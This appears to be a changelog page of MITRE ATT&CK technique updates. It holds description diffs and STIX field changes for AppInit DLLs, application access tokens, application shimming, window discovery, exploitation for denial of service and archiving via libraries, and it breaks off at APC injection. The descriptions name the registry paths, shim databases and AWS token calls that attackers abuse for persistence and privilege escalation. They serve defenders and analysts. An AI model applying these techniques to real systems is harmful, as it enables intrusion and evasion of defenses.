| external_references | {'source_name': 'Sysinternals AppCertDlls Oct 2007', 'description': 'Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved November 17, 2024.', 'url': 'https://web.archive.org/web/20130401232752/https://forum.sysinternals.com/appcertdlls_topic12546.html'} | |
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppInit DLLs | > | ges by executing malicious content triggered by AppInit DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppInit_DLLs</code> value in the R | > | re specified in the <code>AppInit_DLLs</code> value in the R | ||
| > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | ||
| > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | ||
| > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | ||
| > | on\Windows</code> are loaded by user32.dll into every proces | > | on\Windows</code> are loaded by user32.dll into every proces | ||
| > | s that loads user32.dll. In practice this is nearly every pr | > | s that loads user32.dll. In practice this is nearly every pr | ||
| > | ogram, since user32.dll is a very common library. (Citation: | > | ogram, since user32.dll is a very common library.(Citation: | ||
| > | Elastic Process Injection July 2017) Similar to Process In | > | Elastic Process Injection July 2017) Similar to Process Inj | ||
| > | jection, these values can be abused to obtain elevated privi | > | ection, these values can be abused to obtain elevated privil | ||
| > | leges by causing a malicious DLL to be loaded and run in the | > | eges by causing a malicious DLL to be loaded and run in the | ||
| > | context of separate processes on the computer. (Citation: A | > | context of separate processes on the computer.(Citation: App | ||
| > | ppInit Registry) Malicious AppInit DLLs may also provide per | > | Init Registry) Malicious AppInit DLLs may also provide persi | ||
| > | sistence by continuously being triggered by API activity. | > | stence by continuously being triggered by API activity. Th | ||
| > | The AppInit DLL functionality is disabled in Windows 8 and l | > | e AppInit DLL functionality is disabled in Windows 8 and lat | ||
| > | ater versions when secure boot is enabled. (Citation: AppIni | > | er versions when secure boot is enabled.(Citation: AppInit S | ||
| > | t Secure Boot) | > | ecure Boot) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:24.008000+00:00 | 2026-11-04 00:52:07.560000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library.(Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.(Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.(Citation: AppInit Secure Boot) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use stolen application access tokens to bypa | t | 1 | Adversaries may use stolen application access tokens to bypa |
| > | ss the typical authentication process and access restricted | > | ss the typical authentication process and access restricted | ||
| > | accounts, information, or services on remote systems. These | > | accounts, information, or services on remote systems. These | ||
| > | tokens are typically stolen from users or services and used | > | tokens are typically stolen from users or services and used | ||
| > | in lieu of login credentials. Application access tokens are | > | in lieu of login credentials. Application access tokens are | ||
| > | used to make authorized API requests on behalf of a user or | > | used to make authorized API requests on behalf of a user or | ||
| > | service and are commonly used to access resources in cloud, | > | service and are commonly used to access resources in cloud, | ||
| > | container-based applications, and software-as-a-service (Sa | > | container-based applications, and software-as-a-service (Sa | ||
| > | aS).(Citation: Auth0 - Why You Should Always Use Access Toke | > | aS).(Citation: Auth0 - Why You Should Always Use Access Toke | ||
| > | ns to Secure APIs Sept 2019) OAuth is one commonly impleme | > | ns to Secure APIs Sept 2019) OAuth is one commonly impleme | ||
| > | nted framework that issues tokens to users for access to sys | > | nted framework that issues tokens to users for access to sys | ||
| > | tems. These frameworks are used collaboratively to verify th | > | tems. These frameworks are used collaboratively to verify th | ||
| > | e user and determine what actions the user is allowed to per | > | e user and determine what actions the user is allowed to per | ||
| > | form. Once identity is established, the token allows actions | > | form. Once identity is established, the token allows actions | ||
| > | to be authorized, without passing the actual credentials of | > | to be authorized, without passing the actual credentials of | ||
| > | the user. Therefore, compromise of the token can grant the | > | the user. Therefore, compromise of the token can grant the | ||
| > | adversary access to resources of other sites through a malic | > | adversary access to resources of other sites through a malic | ||
| > | ious application.(Citation: okta) For example, with a cloud | > | ious application.(Citation: okta) For example, with a cloud | ||
| > | -based email service, once an OAuth access token is granted | > | -based email service, once an OAuth access token is granted | ||
| > | to a malicious application, it can potentially gain long-ter | > | to a malicious application, it can potentially gain long-ter | ||
| > | m access to features of the user account if a "refresh" toke | > | m access to features of the user account if a "refresh" toke | ||
| > | n enabling background access is awarded.(Citation: Microsoft | > | n enabling background access is awarded.(Citation: Microsoft | ||
| > | Identity Platform Access 2019) With an OAuth access token a | > | Identity Platform Access 2019) With an OAuth access token a | ||
| > | n adversary can use the user-granted REST API to perform fun | > | n adversary can use the user-granted REST API to perform fun | ||
| > | ctions such as email searching and contact enumeration.(Cita | > | ctions such as email searching and contact enumeration.(Cita | ||
| > | tion: Staaldraad Phishing with OAuth 2017) Compromised acce | > | tion: Staaldraad Phishing with OAuth 2017) Compromised acce | ||
| > | ss tokens may be used as an initial step in compromising oth | > | ss tokens may be used as an initial step in compromising oth | ||
| > | er services. For example, if a token grants access to a vict | > | er services. For example, if a token grants access to a vict | ||
| > | im’s primary email, the adversary may be able to extend acce | > | im’s primary email, the adversary may be able to extend acce | ||
| > | ss to all other services which the target subscribes by trig | > | ss to all other services to which the target subscribes by t | ||
| > | gering forgotten password routines. In AWS and GCP environme | > | riggering forgotten password routines. In AWS and GCP enviro | ||
| > | nts, adversaries can trigger a request for a short-lived acc | > | nments, adversaries can trigger a request for a short-lived | ||
| > | ess token with the privileges of another user account.(Citat | > | access token with the privileges of another user account.(Ci | ||
| > | ion: Google Cloud Service Account Credentials)(Citation: AWS | > | tation: Google Cloud Service Account Credentials)(Citation: | ||
| > | Temporary Security Credentials) The adversary can then use | > | AWS Temporary Security Credentials) The adversary can then u | ||
| > | this token to request data or perform actions the original a | > | se this token to request data or perform actions the origina | ||
| > | ccount could not. If permissions for this feature are miscon | > | l account could not. If permissions for this feature are mis | ||
| > | figured – for example, by allowing all users to request a to | > | configured – for example, by allowing all users to request a | ||
| > | ken for a particular account - an adversary may be able to g | > | token for a particular account - an adversary may be able t | ||
| > | ain initial access to a Cloud Account or escalate their priv | > | o gain initial access to a Cloud Account or escalate their p | ||
| > | ileges.(Citation: Rhino Security Labs Enumerating AWS Roles) | > | rivileges.(Citation: Rhino Security Labs Enumerating AWS Rol | ||
| > | Direct API access through a token negates the effectivenes | > | es) Direct API access through a token negates the effective | ||
| > | s of a second authentication factor and may be immune to int | > | ness of a second authentication factor and may be immune to | ||
| > | uitive countermeasures like changing passwords. For example | > | intuitive countermeasures like changing passwords. For exam | ||
| > | , in AWS environments, an adversary who compromises a user’s | > | ple, in AWS environments, an adversary who compromises a use | ||
| > | AWS API credentials may be able to use the `sts:GetFederati | > | r’s AWS API credentials may be able to use the `sts:GetFeder | ||
| > | onToken` API call to create a federated user session, which | > | ationToken` API call to create a federated user session, whi | ||
| > | will have the same permissions as the original user but may | > | ch will have the same permissions as the original user but m | ||
| > | persist even if the original user credentials are deactivate | > | ay persist even if the original user credentials are deactiv | ||
| > | d.(Citation: Crowdstrike AWS User Federation Persistence) Ad | > | ated.(Citation: Crowdstrike AWS User Federation Persistence) | ||
| > | ditionally, access abuse over an API channel can be difficul | > | Additionally, access abuse over an API channel can be diffi | ||
| > | t to detect even from the service provider end, as the acces | > | cult to detect even from the service provider end, as the ac | ||
| > | s can still align well with a legitimate workflow. | > | cess can still align well with a legitimate workflow. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-03 23:33:28.615000+00:00 |
| description | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles) Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. | Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services to which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles) Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow. |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by application | > | ges by executing malicious content triggered by application | ||
| > | shims. The Microsoft Windows Application Compatibility Infra | > | shims. The Microsoft Windows Application Compatibility Infra | ||
| > | structure/Framework (Application Shim) was created to allow | > | structure/Framework (Application Shim) was created to allow | ||
| > | for backward compatibility of software as the operating syst | > | for backward compatibility of software as the operating syst | ||
| > | em codebase changes over time. For example, the application | > | em codebase changes over time. For example, the application | ||
| > | shimming feature allows developers to apply fixes to applica | > | shimming feature allows developers to apply fixes to applica | ||
| > | tions (without rewriting code) that were created for Windows | > | tions (without rewriting code) that were created for Windows | ||
| > | XP so that it will work with Windows 10. (Citation: Elastic | > | XP so that they will work with Windows 10.(Citation: Elasti | ||
| > | Process Injection July 2017) Within the framework, shims a | > | c Process Injection July 2017) Within the framework, shims | ||
| > | re created to act as a buffer between the program (or more s | > | are created to act as a buffer between the program (or more | ||
| > | pecifically, the Import Address Table) and the Windows OS. W | > | specifically, the Import Address Table) and the Windows OS. | ||
| > | hen a program is executed, the shim cache is referenced to d | > | When a program is executed, the shim cache is referenced to | ||
| > | etermine if the program requires the use of the shim databas | > | determine if the program requires the use of the shim databa | ||
| > | e (.sdb). If so, the shim database uses hooking to redirect | > | se (.sdb). If so, the shim database uses hooking to redirect | ||
| > | the code as necessary in order to communicate with the OS. | > | the code as necessary in order to communicate with the OS. | ||
| > | A list of all shims currently installed by the default Wind | > | A list of all shims currently installed by the default Win | ||
| > | ows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\Ap | > | dows installer (sdbinst.exe) is kept in: * <code>%WINDIR%\A | ||
| > | pPatch\sysmain.sdb</code> and * <code>hklm\software\microsof | > | ppPatch\sysmain.sdb</code> and * <code>hklm\software\microso | ||
| > | t\windows nt\currentversion\appcompatflags\installedsdb</cod | > | ft\windows nt\currentversion\appcompatflags\installedsdb</co | ||
| > | e> Custom databases are stored in: * <code>%WINDIR%\AppPat | > | de> Custom databases are stored in: * <code>%WINDIR%\AppPa | ||
| > | ch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and * | > | tch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code> and | ||
| > | <code>hklm\software\microsoft\windows nt\currentversion\app | > | * <code>hklm\software\microsoft\windows nt\currentversion\ap | ||
| > | compatflags\custom</code> To keep shims secure, Windows des | > | pcompatflags\custom</code> To keep shims secure, Windows de | ||
| > | igned them to run in user mode so they cannot modify the ker | > | signed them to run in user mode so they cannot modify the ke | ||
| > | nel and you must have administrator privileges to install a | > | rnel and you must have administrator privileges to install a | ||
| > | shim. However, certain shims can be used to [Bypass User Acc | > | shim. However, certain shims can be used to [Bypass User Ac | ||
| > | ount Control](https://attack.mitre.org/techniques/T1548/002) | > | count Control](https://attack.mitre.org/techniques/T1548/002 | ||
| > | (UAC and RedirectEXE), inject DLLs into processes (InjectDL | > | ) (UAC and RedirectEXE), inject DLLs into processes (InjectD | ||
| > | L), disable Data Execution Prevention (DisableNX) and Struct | > | LL), disable Data Execution Prevention (DisableNX) and Struc | ||
| > | ure Exception Handling (DisableSEH), and intercept memory ad | > | ture Exception Handling (DisableSEH), and intercept memory a | ||
| > | dresses (GetProcAddress). Utilizing these shims may allow a | > | ddresses (GetProcAddress). Utilizing these shims may allow | ||
| > | n adversary to perform several malicious acts such as elevat | > | an adversary to perform several malicious acts such as eleva | ||
| > | e privileges, install backdoors, disable defenses like Windo | > | te privileges, install backdoors, disable defenses like Wind | ||
| > | ws Defender, etc. (Citation: FireEye Application Shimming) S | > | ows Defender, etc.(Citation: FireEye Application Shimming) S | ||
| > | hims can also be abused to establish persistence by continuo | > | hims can also be abused to establish persistence by continuo | ||
| > | usly being invoked by affected programs. | > | usly being invoked by affected programs. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:42.703000+00:00 | 2026-11-04 03:23:08.594000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that they will work with Windows 10.(Citation: Elastic Process Injection July 2017)
Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS.
A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:
* %WINDIR%\AppPatch\sysmain.sdb and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb
Custom databases are stored in:
* %WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom and
* hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom
To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).
Utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.(Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Black Hat 2015 App Shim', 'description': 'Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.', 'url': 'https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf'} |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of open application | t | 1 | Adversaries may attempt to get a listing of open application |
| > | windows. Window listings could convey information about how | > | windows. Window listings could convey information about how | ||
| > | the system is used.(Citation: Prevailion DarkWatchman 2021) | > | the system is used.(Citation: Prevailion DarkWatchman 2021) | ||
| > | For example, information about application windows could be | > | For example, information about application windows could be | ||
| > | used identify potential data to collect as well as identify | > | used to identify potential data to collect as well as ident | ||
| > | ing security tooling ([Security Software Discovery](https:// | > | ifying security tooling ([Security Software Discovery](https | ||
| > | attack.mitre.org/techniques/T1518/001)) to evade.(Citation: | > | ://attack.mitre.org/techniques/T1518/001)) to evade.(Citatio | ||
| > | ESET Grandoreiro April 2020) Adversaries typically abuse sy | > | n: ESET Grandoreiro April 2020) Adversaries typically abuse | ||
| > | stem features for this type of enumeration. For example, the | > | system features for this type of enumeration. For example, | ||
| > | y may gather information through native system features such | > | they may gather information through native system features s | ||
| > | as [Command and Scripting Interpreter](https://attack.mitre | > | uch as [Command and Scripting Interpreter](https://attack.mi | ||
| > | .org/techniques/T1059) commands and [Native API](https://att | > | tre.org/techniques/T1059) commands and [Native API](https:// | ||
| > | ack.mitre.org/techniques/T1106) functions. | > | attack.mitre.org/techniques/T1106) functions. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.630000+00:00 | 2026-11-03 19:33:04.531000+00:00 |
| description | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020) Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions. | Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.(Citation: Prevailion DarkWatchman 2021) For example, information about application windows could be used to identify potential data to collect as well as identifying security tooling ([Security Software Discovery](https://attack.mitre.org/techniques/T1518/001)) to evade.(Citation: ESET Grandoreiro April 2020) Adversaries typically abuse system features for this type of enumeration. For example, they may gather information through native system features such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) commands and [Native API](https://attack.mitre.org/techniques/T1106) functions. |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit software vulnerabilities that can ca | t | 1 | Adversaries may exploit software vulnerabilities that can ca |
| > | use an application or system to crash and deny availability | > | use an application or system to crash and deny availability | ||
| > | to users. (Citation: Sucuri BIND9 August 2015) Some systems | > | to users.(Citation: Sucuri BIND9 August 2015) Some systems m | ||
| > | may automatically restart critical applications and services | > | ay automatically restart critical applications and services | ||
| > | when crashes occur, but they can likely be re-exploited to | > | when crashes occur, but they can likely be re-exploited to c | ||
| > | cause a persistent denial of service (DoS) condition. Adver | > | ause a persistent denial of service (DoS) condition. Advers | ||
| > | saries may exploit known or zero-day vulnerabilities to cras | > | aries may exploit known or zero-day vulnerabilities to crash | ||
| > | h applications and/or systems, which may also lead to depend | > | applications and/or systems, which may also lead to depende | ||
| > | ent applications and/or systems to be in a DoS condition. Cr | > | nt applications and/or systems to be in a DoS condition. Cra | ||
| > | ashed or restarted applications or systems may also have oth | > | shed or restarted applications or systems may also have othe | ||
| > | er effects such as [Data Destruction](https://attack.mitre.o | > | r effects such as [Data Destruction](https://attack.mitre.or | ||
| > | rg/techniques/T1485), [Firmware Corruption](https://attack.m | > | g/techniques/T1485), [Firmware Corruption](https://attack.mi | ||
| > | itre.org/techniques/T1495), [Service Stop](https://attack.mi | > | tre.org/techniques/T1495), [Service Stop](https://attack.mit | ||
| > | tre.org/techniques/T1489) etc. which may further cause a DoS | > | re.org/techniques/T1489) etc. which may further cause a DoS | ||
| > | condition and deny availability to critical information, ap | > | condition and deny availability to critical information, app | ||
| > | plications and/or systems. | > | lications and/or systems. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:34.531000+00:00 | 2026-11-04 00:48:43.082000+00:00 |
| description | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. | Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.(Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may compress or encrypt data that is collected | t | 1 | An adversary may compress or encrypt data that is collected |
| > | prior to exfiltration using 3rd party libraries. Many librar | > | prior to exfiltration using 3rd party libraries. Many librar | ||
| > | ies exist that can archive data, including [Python](https:// | > | ies exist that can archive data, including [Python](https:// | ||
| > | attack.mitre.org/techniques/T1059/006) rarfile (Citation: Py | > | attack.mitre.org/techniques/T1059/006) rarfile,(Citation: Py | ||
| > | PI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib | > | PI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib G | ||
| > | Github). Most libraries include functionality to encrypt an | > | ithub) Most libraries include functionality to encrypt and/o | ||
| > | d/or compress data. Some archival libraries are preinstalle | > | r compress data. Some archival libraries are preinstalled o | ||
| > | d on systems, such as bzip2 on macOS and Linux, and zip on W | > | n systems, such as bzip2 on macOS and Linux, and zip on Wind | ||
| > | indows. Note that the libraries are different from the utili | > | ows. Note that the libraries are different from the utilitie | ||
| > | ties. The libraries can be linked against when compiling, wh | > | s. The libraries can be linked against when compiling, while | ||
| > | ile the utilities require spawning a subshell, or a similar | > | the utilities require spawning a subshell, or a similar exe | ||
| > | execution mechanism. | > | cution mechanism. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:42.345000+00:00 | 2026-11-04 03:34:50.230000+00:00 |
| description | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile (Citation: PyPI RAR), libzip (Citation: libzip), and zlib (Citation: Zlib Github). Most libraries include functionality to encrypt and/or compress data. Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism. | An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including [Python](https://attack.mitre.org/techniques/T1059/006) rarfile,(Citation: PyPI RAR) libzip,(Citation: libzip) and zlib.(Citation: Zlib Github) Most libraries include functionality to encrypt and/or compress data. Some archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Wikipedia File Header Signatures', 'description': 'Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.', 'url': 'https://en.wikipedia.org/wiki/List_of_file_signatures'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via the | t | 1 | Adversaries may inject malicious code into processes via the |
| > | asynchronous procedure call (APC) queue in order to evade p | > | asynchronous procedure call (APC) queue in order to evade p | ||
| > | rocess-based defenses as well as possibly elevate privileges | > | rocess-based defenses as well as possibly elevate privileges | ||
| > | . APC injection is a method of executing arbitrary code in t | > | . APC injection is a method of executing arbitrary code in t | ||
